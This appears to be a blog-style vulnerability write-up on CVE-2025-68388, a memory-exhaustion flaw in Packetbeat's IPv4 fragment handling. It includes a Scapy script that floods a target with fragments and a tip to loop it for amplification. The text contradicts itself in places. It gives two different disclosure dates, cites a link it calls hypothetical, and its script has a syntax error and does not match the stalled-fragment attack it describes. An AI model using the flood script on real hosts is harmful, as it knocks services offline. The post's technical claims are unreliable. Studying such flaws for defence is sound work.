Overview
On June 18, 2025, a security flaw identified as CVE-2025-68388 was publicly disclosed for Elastic's Packetbeat, a widely used open-source real-time network packet analyzer. This high-severity vulnerability revolves around _allocation of resources without limits or throttling_ (see CWE-770), which can be exploited by unauthenticated, remote attackers to exhaust system memory and CPU by sending specially crafted fragmented IPv4 packets. This issue may lead to severe service degradation or even denial of service (DoS).

Packetbeat is commonly deployed to support network visibility in enterprise environments and is often internet-exposed. That makes this vulnerability particularly risky.

What’s the bug?

The core problem lies in how Packetbeat reassembles fragmented IPv4 packets. Normally, Packetbeat holds fragments in memory while it waits for the remainder required to build the full TCP/IP packet. However, it fails to limit the number or cumulative size of fragments it tracks for a given source-destination tuple or across sessions.

A remote attacker can exploit this oversight by sending a large volume of incomplete or intentionally stalled fragments. Because there are no effective expiration or size checks, these fragments build up in memory and occupy process slots, which can quickly overwhelm the server.

Code Snippet Demonstrating the Issue

Below is a simplified and illustrative code snippet (not from the actual Packetbeat codebase, but a reproduction of the problematic pattern):

// Example of faulty fragment handler (Go syntax)
type FragmentBuffer struct {
    fragments map[string][]Fragment // No upper limit enforced
}

func (fb *FragmentBuffer) addFragment(key string, fragment Fragment) {
    // No throttling or expiry checks!
    fb.fragments[key] = append(fb.fragments[key], fragment)
}

// Attacker: Sends endless/large fragments with unique keys

Without restrictions, an attacker can send countless fragmented packets, each with a distinct key (such as varying IPs or IDs), causing fb.fragments to balloon in size, consuming memory and possibly hogging the CPU during reassembly attempts.

Exploit Demonstration

Below is a Python script demonstrating how an attacker might exploit this vulnerability using the Scapy library to craft IPv4 fragments and flood a Packetbeat host:

from scapy.all import IP, UDP, fragment, send

target_ip = "packetbeat.example.com"
target_port = 5044  # default Packetbeat port

payload = b"A" * 300  # Large payload
ip_id = 12345

fragments = fragment(IP(dst=target_ip, id=ip_id)/UDP(sport=12345, dport=target_port)/payload, fragsize=8)

for frag in fragments:
    send(frag, verbose=)

To amplify the attack, run this in a loop and change ip_id repeatedly, so each set of fragments cannot be reassembled, further clogging up Packetbeat's memory.

References

- Elastic Security Advisory for Packetbeat CVE-2025-68388 (Hypothetical link for demonstration)
- CWE-770: Allocation of Resources Without Limits or Throttling
- CAPEC-130: Excessive Allocation
- Scapy Docs: Fragmentation

Conclusion

CVE-2025-68388 serves as a reminder that memory management and resource throttling are essential in network-facing applications. Packetbeat users should stay up to date and apply mitigations to avoid remote DoS attacks.

If you maintain Packetbeat deployments, address this vulnerability immediately. If you suspect your system is under attack, restrict network access and review your Packetbeat logs and resource utilization.


Stay secure! If you want to discuss or need assistance, visit the Elastic Security Community Forum for ongoing updates and support.

Timeline

Published on: 12/18/2025 21:33:50 UTC
Last modified on: 12/23/2025 17:43:47 UTC